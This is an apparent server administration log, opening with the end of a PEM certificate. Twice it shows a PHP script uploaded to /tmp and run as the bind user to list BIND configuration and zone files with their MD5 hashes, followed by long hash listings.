y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-29 14:31:13: Establishing a connection
2026-04-29 14:31:13: 

PUT: /tmp/pkp829084

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-29 14:31:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp829084; rm /tmp/pkp829084'

2026-04-29 14:31:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-29 14:31:39: Establishing a connection
2026-04-29 14:31:39: 

PUT: /tmp/pkp437792

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-29 14:31:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp437792; rm /tmp/pkp437792'

2026-04-29 14:31:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
